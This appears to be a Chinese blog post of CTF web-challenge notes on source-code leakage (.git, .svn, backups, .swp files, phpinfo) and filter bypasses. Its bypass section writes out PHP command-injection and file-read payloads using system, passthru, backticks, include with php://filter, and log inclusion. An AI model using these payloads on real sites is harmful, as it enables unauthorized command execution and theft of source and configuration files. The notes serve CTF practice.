CTF中的一些做题姿势

简介: 该文主要讨论了版本控制漏洞,提到了 `.git`, `.svn`, `.hg`, `CVS` 和 `.bzr` 等版本控制系统可能导致的源代码泄露。另外,文章指出压缩文件如 `.rar`, `.zip` 等如果备份在Web目录下,可能被攻击者下载。`.DS_Store` 文件和 `.filename.swp` (vim的临时文件)也可能泄漏敏感信息。域名的`txt`记录、`tz.php`探针和`phpinfo()`函数的滥用可暴露服务器详情。文中还探讨了多种绕过过滤的策略,并举例说明了如何利用`PHP`构造payload来执行命令或读取文件,强调了POST请求可能规避某些过滤限制。

版本控制漏洞

.git 用来记录代码的变更记录等

.svn SVN是一个开放源代码的版本控制系统 ,在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息

.hg 是一种轻量级分布式版本控制系统,使用 hg init的时候会生成.hg。

CVS CVS是一个C/S系统,多个开发人员通过一个中心版本控制系统来记录文件版本,从而达到保证文件同步的目的。

.bzr

压缩文件 管理员将网站源代码备份在Web目录下,攻击者通过猜解文件路径,下载备份文件,导致源代码泄露。用御剑扫。

  • .rar
  • .zip
  • .7z
  • .tar.gz
  • .bak
  • .txt
  • .old
  • .temp

WEB-INF/web.xml 泄露WEB-INF是Java的WEB应用的安全目录,如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。

DS_Store 文件泄露.DS_Store是Mac下Finder用来保存如何展示 文件/文件夹 的数据文件,每个文件夹下对应一个。如果将.DS_Store上传部署到服务器,可能造成文件目录结构泄漏,特别是备份文件、源代码文件。

.filename.swp。swp即swap文件,在编辑文件时产生的临时文件,它是隐藏文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,文件名为 .filename.swp

vim是linux自带且常用的文件编辑器,vim在编辑时会生成一个隐藏的临时文件,当vim非正常关闭时这个文件就会被保留下来。 使用vim时意外退出,会在目录下生成一个备份文件,格式为 .文件名.swp,访问/.index.php.swp下载备份文件,用记事本打开即可

域名txt记录泄露 http://www.jsons.cn/nslookup/输入域名

/tz.php 探针泄露 PHP探针实际上是一种Web脚本程序,主要是用来探测虚拟空间、服务器的运行状况,而本质上是通过PHP语言实现探测PHP服务器敏感信息的脚本文件,通常用于探测网站目录、服务器操作系统、PHP版本、数据库版本、CPU、内存、组件支持等,基本能够很全面的了解服务器的各项信息。phpinfo() 是 PHP 中的一个函数,用于显示 PHP 运行环境的配置信息。该函数可以显示 PHP 的版本信息、编译器信息、模块信息、配置信息等,可以帮助开发者了解 PHP 的运行环境和配置信息。

访问网站:尝试index.phps或index.php再在index.php中进行操作

绕过

1000=~~1000='1000'=999||1000

?id=system('cat flag'); ?id=passthru('tac+fl\ag')?>

system--->passthru show_source

?id=$a=base64_encode('被ban的关键字');passthru('tac $a');


①涉及到一个php的代码结构,.....②payload为:?c=include $_GET[a]?>,等同于,php的最后一行代码可以省去分号.....③include函数包含文件,且题目是对参数c正则过滤,因此GET型传参a可以绕过,从而执行我们的伪协议文件命令,读取config.php文件:php://filter/convert.base64-encode/resource=./config.php④因此连起来构造的payload为: ?c=include $_GET[a]?>&a=php://filter/convert.base64-encode/resource=config.php

?c=echo $_GET[a]?>&a=cat config.php 将命令用变量a传入

?c=echo $flag?>


新增对*、?、<>、=过滤,但取消了对;过滤。括号被过滤导致函数不能使用,需要用反引号`执行命令。并且过滤了config、php关键字,导致无法直接查看文件。 再次查看代码,这些过滤只对GET请求的参数有效,对POST请求并未限制,可以提交POST请求提交命令。 构造url:?c=echo$_POST[a]`; 利用hackbar提交post参数:a=cat config.php

?url=/var/log/nginx/access.log
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

目录
相关文章
|
7月前
|
C语言
蓝桥杯练习题
蓝桥杯练习题包括6道C语言编程题:1. 判断三位数是否为水仙花数;2. 输出区间质因数分解;3. 将秒转换为&#39;H:M:S&#39;格式;4. 判断闰年;5. 删除可被整除元素并排序数组,数字转字母;6. 分类比较两个字符串关系。每题涉及不同逻辑操作,适合编程初学者练习。
56 3
|
Web App开发 PHP
fileclude-CTF 解题思路
fileclude-CTF 解题思路
115 2
|
7月前
|
JavaScript PHP 数据安全/隐私保护
CTF解题常见套路
CTF解题常见套路
46 0
|
7月前
|
测试技术
题目1444:蓝桥杯2014年第五届真题斐波那契
题目1444:蓝桥杯2014年第五届真题斐波那契
58 0
|
7月前
|
机器学习/深度学习 算法
蓝桥杯正确的解题姿势
蓝桥杯正确的解题姿势
|
数据安全/隐私保护
[CFI-CTF 2018]IntroToPE 题解
[CFI-CTF 2018]IntroToPE 题解
86 0
|
JavaScript
BugKu CTF 计算器 解题思路
BugKu CTF 计算器 解题思路
79 0
|
安全 Linux Shell
[网络安全]AntSword(蚁剑)实战解题详析(入门)
蚁剑(AntSword)是一款开源的跨平台WebShell管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
2338 0
[网络安全]AntSword(蚁剑)实战解题详析(入门)
|
机器学习/深度学习 人工智能 安全
2023年第十四届蓝桥杯JavaB组省赛真题(题目+全部完整题解)2
2023年第十四届蓝桥杯JavaB组省赛真题(题目+全部完整题解)2
1044 1
|
SQL 安全 Shell
CTF——常见题型
CTF——常见题型
239 0